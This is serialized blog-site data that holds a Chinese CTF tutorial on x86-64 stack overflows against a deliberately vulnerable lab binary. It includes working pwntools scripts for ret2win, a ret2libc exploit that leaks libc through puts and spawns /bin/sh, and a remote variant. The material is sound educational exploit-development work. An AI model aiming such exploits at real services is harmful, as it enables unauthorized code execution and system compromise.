.sLL85{--shiki-default:#8BE9FD}",{"title":24,"searchDepth":38,"depth":38,"links":8455},[8456,8457,8458,8459,8460,8461,8462,8463,8464],{"id":7529,"depth":45,"text":7530},{"id":7536,"depth":45,"text":7537},{"id":1252,"depth":45,"text":1253},{"id":7878,"depth":45,"text":7879},{"id":1940,"depth":45,"text":1941},{"id":8198,"depth":45,"text":8199},{"id":8322,"depth":45,"text":8323},{"id":8409,"depth":45,"text":8410},{"id":6667,"depth":45,"text":6668},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。",{"date":1132,"image":8467,"alt":8468,"tags":8469,"published":41},"/blogs-img/blog7.png","XOR CrackMe 完整实操",[1136,2451,2229,1139],"/blogs/ctf-reverse-crackme-deep-dive",{"title":7524,"description":8465},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",{"id":8475,"title":8476,"body":8477,"description":9562,"extension":1130,"meta":9563,"navigation":41,"ogImage":9564,"path":9568,"seo":9569,"stem":9570,"__hash__":9571},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":7,"value":8478,"toc":9549},[8479,8483,8498,8501,8503,8551,8553,8557,8637,8640,8659,8663,8668,8673,8685,8687,8692,8695,8750,8752,8757,8763,8766,8769,8779,8833,8835,8841,8855,8859,8864,8925,8927,8937,8939,8945,8963,8967,8973,8976,9003,9005,9011,9024,9030,9034,9041,9046,9055,9059,9065,9069,9345,9348,9354,9358,9405,9409,9470,9474,9485,9526,9528,9533,9537,9546],[10,8480,8482],{"id":8481},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[15,8484,8485,435,8487,435,8490,8493,8494,8497],{},[26,8486,2470],{},[26,8488,8489],{},"strcpy",[26,8491,8492],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[26,8495,8496],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[15,8499,8500],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[10,8502,1212],{"id":1211},[19,8504,8506],{"className":113,"code":8505,"language":115,"meta":24,"style":24},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n",[26,8507,8508,8518,8530],{"__ignoreMap":24},[29,8509,8510,8512,8514,8516],{"class":31,"line":32},[29,8511,1225],{"class":122},[29,8513,127],{"class":126},[29,8515,2495],{"class":126},[29,8517,2498],{"class":126},[29,8519,8520,8522,8524,8527],{"class":31,"line":38},[29,8521,2503],{"class":122},[29,8523,127],{"class":126},[29,8525,8526],{"class":126}," pwntools",[29,8528,8529],{"class":126}," ROPgadget\n",[29,8531,8532,8534,8536,8539,8541,8543,8546,8548],{"class":31,"line":45},[29,8533,906],{"class":122},[29,8535,909],{"class":126},[29,8537,8538],{"class":126}," https://github.com/pwndbg/pwndbg",[29,8540,924],{"class":273},[29,8542,918],{"class":917},[29,8544,8545],{"class":126}," pwndbg",[29,8547,924],{"class":273},[29,8549,8550],{"class":122},"./setup.sh\n",[10,8552,2512],{"id":2511},[15,8554,8555,137],{},[26,8556,2517],{},[19,8558,8559],{"className":1910,"code":2520,"language":1912,"meta":24,"style":24},[26,8560,8561,8565,8569,8573,8577,8581,8585,8589,8593,8597,8601,8605,8609,8613,8617,8621,8625,8629,8633],{"__ignoreMap":24},[29,8562,8563],{"class":31,"line":32},[29,8564,2527],{},[29,8566,8567],{"class":31,"line":38},[29,8568,2532],{},[29,8570,8571],{"class":31,"line":45},[29,8572,42],{"emptyLinePlaceholder":41},[29,8574,8575],{"class":31,"line":51},[29,8576,2541],{},[29,8578,8579],{"class":31,"line":56},[29,8580,2546],{},[29,8582,8583],{"class":31,"line":62},[29,8584,2551],{},[29,8586,8587],{"class":31,"line":68},[29,8588,42],{"emptyLinePlaceholder":41},[29,8590,8591],{"class":31,"line":74},[29,8592,2560],{},[29,8594,8595],{"class":31,"line":179},[29,8596,2565],{},[29,8598,8599],{"class":31,"line":185},[29,8600,2570],{},[29,8602,8603],{"class":31,"line":190},[29,8604,2551],{},[29,8606,8607],{"class":31,"line":677},[29,8608,42],{"emptyLinePlaceholder":41},[29,8610,8611],{"class":31,"line":683},[29,8612,2583],{},[29,8614,8615],{"class":31,"line":689},[29,8616,2588],{},[29,8618,8619],{"class":31,"line":695},[29,8620,2593],{},[29,8622,8623],{"class":31,"line":2596},[29,8624,2599],{},[29,8626,8627],{"class":31,"line":2602},[29,8628,2605],{},[29,8630,8631],{"class":31,"line":2608},[29,8632,2611],{},[29,8634,8635],{"class":31,"line":2614},[29,8636,2551],{},[15,8638,8639],{},"编译：",[19,8641,8643],{"className":113,"code":8642,"language":115,"meta":24,"style":24},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[26,8644,8645],{"__ignoreMap":24},[29,8646,8647,8649,8651,8653,8655,8657],{"class":31,"line":32},[29,8648,2629],{"class":122},[29,8650,2632],{"class":815},[29,8652,2635],{"class":126},[29,8654,2638],{"class":126},[29,8656,2641],{"class":815},[29,8658,2644],{"class":815},[10,8660,8662],{"id":8661},"四核心步骤-1checksec","四、核心步骤 1：checksec",[15,8664,8665,8667],{},[216,8666,218],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[15,8669,8670,8672],{},[216,8671,224],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[19,8674,8675],{"className":113,"code":2673,"language":115,"meta":24,"style":24},[26,8676,8677],{"__ignoreMap":24},[29,8678,8679,8681,8683],{"class":31,"line":32},[29,8680,2680],{"class":122},[29,8682,2683],{"class":126},[29,8684,2686],{"class":126},[15,8686,261],{},[19,8688,8690],{"className":8689,"code":2692,"language":477,"meta":24},[475],[26,8691,2692],{"__ignoreMap":24},[15,8693,8694],{},"逐行含义：",[342,8696,8697,8705],{},[345,8698,8699],{},[348,8700,8701,8703],{},[351,8702,6555],{},[351,8704,1604],{},[361,8706,8707,8717,8727,8740],{},[348,8708,8709,8714],{},[366,8710,8711],{},[26,8712,8713],{},"No canary found",[366,8715,8716],{},"无栈金丝雀，可覆盖返回地址",[348,8718,8719,8724],{},[366,8720,8721],{},[26,8722,8723],{},"NX enabled",[366,8725,8726],{},"栈不可执行，不能直接放 shellcode",[348,8728,8729,8734],{},[366,8730,8731],{},[26,8732,8733],{},"No PIE",[366,8735,8736,8737,8739],{},"程序地址固定，",[26,8738,2754],{}," 地址可直接写死",[348,8741,8742,8747],{},[366,8743,8744],{},[26,8745,8746],{},"Partial RELRO",[366,8748,8749],{},"GOT 可写（本阶段用不到）",[10,8751,2759],{"id":2758},[15,8753,8754,8756],{},[26,8755,2764],{}," 栈帧自低到高：",[19,8758,8761],{"className":8759,"code":8760,"language":477,"meta":24},[475],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[26,8762,8760],{"__ignoreMap":24},[15,8764,8765],{},"偏移 = 32 + 8 = 40。",[15,8767,8768],{},"用 pwntools 验证：",[15,8770,8771,137,8773,8775,8776,8778],{},[216,8772,224],{},[26,8774,2777],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[26,8777,3135],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[19,8780,8782],{"className":21,"code":8781,"language":23,"meta":24,"style":24},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[26,8783,8784,8788,8792,8796,8800,8805,8809,8814,8818,8823,8828],{"__ignoreMap":24},[29,8785,8786],{"class":31,"line":32},[29,8787,2788],{},[29,8789,8790],{"class":31,"line":38},[29,8791,42],{"emptyLinePlaceholder":41},[29,8793,8794],{"class":31,"line":45},[29,8795,2797],{},[29,8797,8798],{"class":31,"line":51},[29,8799,2802],{},[29,8801,8802],{"class":31,"line":56},[29,8803,8804],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[29,8806,8807],{"class":31,"line":62},[29,8808,2817],{},[29,8810,8811],{"class":31,"line":68},[29,8812,8813],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[29,8815,8816],{"class":31,"line":74},[29,8817,2827],{},[29,8819,8820],{"class":31,"line":179},[29,8821,8822],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[29,8824,8825],{"class":31,"line":185},[29,8826,8827],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[29,8829,8830],{"class":31,"line":190},[29,8831,8832],{},"print(\"offset =\", offset)\n",[15,8834,261],{},[19,8836,8839],{"className":8837,"code":8838,"language":477,"meta":24},[475],"offset = 40\n",[26,8840,8838],{"__ignoreMap":24},[15,8842,8843,8844,8847,8848,8851,8852,8854],{},"原理：",[26,8845,8846],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[26,8849,8850],{},"rip"," 的值必然是模式串中的 4/8 字节，",[26,8853,3135],{}," 返回它在模式串中的位置，即到返回地址的距离。",[10,8856,8858],{"id":8857},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[15,8860,8861,8863],{},[216,8862,218],{},"：把返回地址改成 win，验证控制流劫持成功。",[19,8865,8867],{"className":21,"code":8866,"language":23,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[26,8868,8869,8873,8877,8881,8885,8889,8893,8898,8902,8907,8912,8916,8920],{"__ignoreMap":24},[29,8870,8871],{"class":31,"line":32},[29,8872,2788],{},[29,8874,8875],{"class":31,"line":38},[29,8876,42],{"emptyLinePlaceholder":41},[29,8878,8879],{"class":31,"line":45},[29,8880,2878],{},[29,8882,8883],{"class":31,"line":51},[29,8884,2797],{},[29,8886,8887],{"class":31,"line":56},[29,8888,42],{"emptyLinePlaceholder":41},[29,8890,8891],{"class":31,"line":62},[29,8892,3040],{},[29,8894,8895],{"class":31,"line":68},[29,8896,8897],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[29,8899,8900],{"class":31,"line":74},[29,8901,3055],{},[29,8903,8904],{"class":31,"line":179},[29,8905,8906],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[29,8908,8909],{"class":31,"line":185},[29,8910,8911],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[29,8913,8914],{"class":31,"line":190},[29,8915,2981],{},[29,8917,8918],{"class":31,"line":677},[29,8919,3069],{},[29,8921,8922],{"class":31,"line":683},[29,8923,8924],{},"# interactive()：把终端接到进程，shell 可交互。\n",[15,8926,196],{},[19,8928,8929],{"className":113,"code":3196,"language":115,"meta":24,"style":24},[26,8930,8931],{"__ignoreMap":24},[29,8932,8933,8935],{"class":31,"line":32},[29,8934,3203],{"class":122},[29,8936,3206],{"class":126},[15,8938,3082],{},[19,8940,8943],{"className":8941,"code":8942,"language":477,"meta":24},[475],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[26,8944,8942],{"__ignoreMap":24},[15,8946,8947,8948,8950,8951,1103,8953,2075,8955,8957,8958,1103,8960,8962],{},"执行过程：",[26,8949,2470],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[26,8952,2754],{},[26,8954,2764],{},[26,8956,8496],{}," 跳到 ",[26,8959,2754],{},[26,8961,3098],{}," 弹 shell。",[10,8964,8966],{"id":8965},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[15,8968,8969,8970,8972],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[26,8971,8496],{}," 结尾的指令片段（gadget）串起来执行。",[15,8974,8975],{},"找 gadget：",[19,8977,8979],{"className":113,"code":8978,"language":115,"meta":24,"style":24},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[26,8980,8981],{"__ignoreMap":24},[29,8982,8983,8986,8989,8992,8994,8996,8998,9001],{"class":31,"line":32},[29,8984,8985],{"class":122},"ROPgadget",[29,8987,8988],{"class":815}," --binary",[29,8990,8991],{"class":126}," ./vuln",[29,8993,1511],{"class":277},[29,8995,1514],{"class":122},[29,8997,252],{"class":251},[29,8999,9000],{"class":126},"pop rdi",[29,9002,258],{"class":251},[15,9004,261],{},[19,9006,9009],{"className":9007,"code":9008,"language":477,"meta":24},[475],"0x0000000000401233 : pop rdi ; ret\n",[26,9010,9008],{"__ignoreMap":24},[15,9012,9013,9016,9017,9020,9021,9023],{},[26,9014,9015],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[26,9018,9019],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[26,9022,8496],{}," 跳到下个地址。栈上布局：",[19,9025,9028],{"className":9026,"code":9027,"language":477,"meta":24},[475],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[26,9029,9027],{"__ignoreMap":24},[10,9031,9033],{"id":9032},"八进阶ret2libc","八、进阶：ret2libc",[15,9035,9036,9038,9039,458],{},[216,9037,218],{},"：程序内没有目标函数时，改调 libc 的 ",[26,9040,3098],{},[15,9042,9043,9045],{},[216,9044,224],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[15,9047,9048,9049,9051,9052,9054],{},"程序里没有 ",[26,9050,2754],{}," 时，改调 libc 里的 ",[26,9053,3098],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[235,9056,9058],{"id":9057},"_81-原理","8.1 原理",[19,9060,9063],{"className":9061,"code":9062,"language":477,"meta":24},[475],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[26,9064,9062],{"__ignoreMap":24},[235,9066,9068],{"id":9067},"_82-完整脚本","8.2 完整脚本",[19,9070,9072],{"className":21,"code":9071,"language":23,"meta":24,"style":24},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[26,9073,9074,9078,9082,9087,9092,9096,9100,9105,9110,9114,9118,9122,9127,9132,9136,9141,9146,9151,9156,9161,9166,9171,9176,9181,9186,9191,9195,9199,9204,9208,9213,9218,9223,9228,9233,9237,9242,9247,9252,9258,9264,9269,9275,9281,9287,9293,9299,9305,9311,9317,9323,9328,9334,9340],{"__ignoreMap":24},[29,9075,9076],{"class":31,"line":32},[29,9077,2788],{},[29,9079,9080],{"class":31,"line":38},[29,9081,42],{"emptyLinePlaceholder":41},[29,9083,9084],{"class":31,"line":45},[29,9085,9086],{},"context.log_level = 'error'\n",[29,9088,9089],{"class":31,"line":51},[29,9090,9091],{},"# 只显示错误，减少调试信息刷屏。\n",[29,9093,9094],{"class":31,"line":56},[29,9095,42],{"emptyLinePlaceholder":41},[29,9097,9098],{"class":31,"line":62},[29,9099,2878],{},[29,9101,9102],{"class":31,"line":68},[29,9103,9104],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[29,9106,9107],{"class":31,"line":74},[29,9108,9109],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[29,9111,9112],{"class":31,"line":179},[29,9113,2797],{},[29,9115,9116],{"class":31,"line":185},[29,9117,42],{"emptyLinePlaceholder":41},[29,9119,9120],{"class":31,"line":190},[29,9121,8838],{},[29,9123,9124],{"class":31,"line":677},[29,9125,9126],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[29,9128,9129],{"class":31,"line":683},[29,9130,9131],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[29,9133,9134],{"class":31,"line":689},[29,9135,42],{"emptyLinePlaceholder":41},[29,9137,9138],{"class":31,"line":695},[29,9139,9140],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[29,9142,9143],{"class":31,"line":2596},[29,9144,9145],{},"payload1 = b'A' * offset\n",[29,9147,9148],{"class":31,"line":2602},[29,9149,9150],{},"payload1 += p64(ret)\n",[29,9152,9153],{"class":31,"line":2608},[29,9154,9155],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[29,9157,9158],{"class":31,"line":2614},[29,9159,9160],{},"payload1 += p64(pop_rdi)\n",[29,9162,9163],{"class":31,"line":4050},[29,9164,9165],{},"payload1 += p64(elf.got['puts'])\n",[29,9167,9168],{"class":31,"line":4056},[29,9169,9170],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[29,9172,9173],{"class":31,"line":4062},[29,9174,9175],{},"payload1 += p64(elf.plt['puts'])\n",[29,9177,9178],{"class":31,"line":4068},[29,9179,9180],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[29,9182,9183],{"class":31,"line":4074},[29,9184,9185],{},"payload1 += p64(elf.symbols['main'])\n",[29,9187,9188],{"class":31,"line":4839},[29,9189,9190],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[29,9192,9193],{"class":31,"line":4844},[29,9194,42],{"emptyLinePlaceholder":41},[29,9196,9197],{"class":31,"line":4850},[29,9198,3040],{},[29,9200,9201],{"class":31,"line":4856},[29,9202,9203],{},"p.sendline(payload1)\n",[29,9205,9206],{"class":31,"line":4861},[29,9207,42],{"emptyLinePlaceholder":41},[29,9209,9210],{"class":31,"line":4867},[29,9211,9212],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[29,9214,9215],{"class":31,"line":4873},[29,9216,9217],{},"# recvline()：读一行（puts 输出后带换行）。\n",[29,9219,9220],{"class":31,"line":4879},[29,9221,9222],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[29,9224,9225],{"class":31,"line":4885},[29,9226,9227],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[29,9229,9230],{"class":31,"line":4890},[29,9231,9232],{},"print(\"puts:\", hex(leak))\n",[29,9234,9235],{"class":31,"line":4896},[29,9236,42],{"emptyLinePlaceholder":41},[29,9238,9239],{"class":31,"line":4902},[29,9240,9241],{},"libc.address = leak - libc.symbols['puts']\n",[29,9243,9244],{"class":31,"line":4908},[29,9245,9246],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[29,9248,9249],{"class":31,"line":4914},[29,9250,9251],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[29,9253,9255],{"class":31,"line":9254},39,[29,9256,9257],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[29,9259,9261],{"class":31,"line":9260},40,[29,9262,9263],{},"print(\"libc base:\", hex(libc.address))\n",[29,9265,9267],{"class":31,"line":9266},41,[29,9268,42],{"emptyLinePlaceholder":41},[29,9270,9272],{"class":31,"line":9271},42,[29,9273,9274],{},"# 第二阶段：system(\"/bin/sh\")\n",[29,9276,9278],{"class":31,"line":9277},43,[29,9279,9280],{},"payload2 = b'A' * offset\n",[29,9282,9284],{"class":31,"line":9283},44,[29,9285,9286],{},"payload2 += p64(ret)\n",[29,9288,9290],{"class":31,"line":9289},45,[29,9291,9292],{},"payload2 += p64(pop_rdi)\n",[29,9294,9296],{"class":31,"line":9295},46,[29,9297,9298],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[29,9300,9302],{"class":31,"line":9301},47,[29,9303,9304],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[29,9306,9308],{"class":31,"line":9307},48,[29,9309,9310],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[29,9312,9314],{"class":31,"line":9313},49,[29,9315,9316],{},"payload2 += p64(libc.symbols['system'])\n",[29,9318,9320],{"class":31,"line":9319},50,[29,9321,9322],{},"# 调用 system(\"/bin/sh\")。\n",[29,9324,9326],{"class":31,"line":9325},51,[29,9327,42],{"emptyLinePlaceholder":41},[29,9329,9331],{"class":31,"line":9330},52,[29,9332,9333],{},"p.sendlineafter(b'name?', payload2)\n",[29,9335,9337],{"class":31,"line":9336},53,[29,9338,9339],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[29,9341,9343],{"class":31,"line":9342},54,[29,9344,3069],{},[15,9346,9347],{},"运行输出：",[19,9349,9352],{"className":9350,"code":9351,"language":477,"meta":24},[475],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[26,9353,9351],{"__ignoreMap":24},[235,9355,9357],{"id":9356},"_83-三个易错点","8.3 三个易错点",[1883,9359,9360,9380,9395],{},[1886,9361,9362,137,9365,9368,9369,9372,9373,9376,9377,458],{},[216,9363,9364],{},"补零",[26,9366,9367],{},"puts"," 输出的地址以换行结尾，",[26,9370,9371],{},"strip()"," 去掉换行，",[26,9374,9375],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[26,9378,9379],{},"u64",[1886,9381,9382,137,9385,9388,9389,9392,9393,458],{},[216,9383,9384],{},"对齐",[26,9386,9387],{},"system"," 内部使用 ",[26,9390,9391],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[26,9394,8496],{},[1886,9396,9397,9400,9401,9404],{},[216,9398,9399],{},"libc 版本","：远程题目若提供 libc，用 ",[26,9402,9403],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[10,9406,9408],{"id":9407},"九必学工具","九、必学工具",[342,9410,9411,9421],{},[345,9412,9413],{},[348,9414,9415,9417,9419],{},[351,9416,2139],{},[351,9418,3114],{},[351,9420,3117],{},[361,9422,9423,9441,9453],{},[348,9424,9425,9427,9439],{},[366,9426,3124],{},[366,9428,9429,435,9431,1110,9433,435,9435,3139,9437],{},[26,9430,3129],{},[26,9432,2777],{},[26,9434,3135],{},[26,9436,2991],{},[26,9438,3142],{},[366,9440,3146],{},[348,9442,9443,9445,9448],{},[366,9444,8985],{},[366,9446,9447],{},"搜索 gadget、指定寄存器、输出地址",[366,9449,9450],{},[26,9451,9452],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[348,9454,9455,9458,9461],{},[366,9456,9457],{},"GDB（pwndbg）",[366,9459,9460],{},"断点、看栈、查看崩溃点",[366,9462,9463,435,9465,435,9467],{},[26,9464,3172],{},[26,9466,3175],{},[26,9468,9469],{},"bt",[10,9471,9473],{"id":9472},"十小-ctf-实战","十、小 CTF 实战",[15,9475,978,9476,9478,9479,9481,9482,9484],{},[26,9477,3187],{}," 运行 ",[26,9480,2764],{},"（No canary、No PIE，有 ",[26,9483,2754],{},"）。",[19,9486,9488],{"className":21,"code":9487,"language":23,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[26,9489,9490,9494,9498,9502,9506,9510,9514,9518,9522],{"__ignoreMap":24},[29,9491,9492],{"class":31,"line":32},[29,9493,2788],{},[29,9495,9496],{"class":31,"line":38},[29,9497,42],{"emptyLinePlaceholder":41},[29,9499,9500],{"class":31,"line":45},[29,9501,2878],{},[29,9503,9504],{"class":31,"line":51},[29,9505,2931],{},[29,9507,9508],{"class":31,"line":56},[29,9509,42],{"emptyLinePlaceholder":41},[29,9511,9512],{"class":31,"line":62},[29,9513,3055],{},[29,9515,9516],{"class":31,"line":68},[29,9517,2981],{},[29,9519,9520],{"class":31,"line":74},[29,9521,3275],{},[29,9523,9524],{"class":31,"line":179},[29,9525,3069],{},[15,9527,261],{},[19,9529,9531],{"className":9530,"code":3290,"language":477,"meta":24},[475],[26,9532,3290],{"__ignoreMap":24},[10,9534,9536],{"id":9535},"十一小结","十一、小结",[15,9538,9539,9540,9542,9543,9545],{},"栈溢出主线：",[26,9541,3151],{}," 判断防护 → ",[26,9544,2777],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1116,9547,9548],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":24,"searchDepth":38,"depth":38,"links":9550},[9551,9552,9553,9554,9555,9556,9557,9558,9559,9560,9561],{"id":8481,"depth":45,"text":8482},{"id":1211,"depth":45,"text":1212},{"id":2511,"depth":45,"text":2512},{"id":8661,"depth":45,"text":8662},{"id":2758,"depth":45,"text":2759},{"id":8857,"depth":45,"text":8858},{"id":8965,"depth":45,"text":8966},{"id":9032,"depth":45,"text":9033},{"id":9407,"depth":45,"text":9408},{"id":9472,"depth":45,"text":9473},{"id":9535,"depth":45,"text":9536},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":1132,"image":9564,"alt":9565,"tags":9566,"published":41},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[1136,2680,9567,1139],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":8476,"description":9562},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":9573,"title":9574,"body":9575,"description":10600,"extension":1130,"meta":10601,"navigation":41,"ogImage":4329,"path":10605,"seo":10606,"stem":10607,"__hash__":10608},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 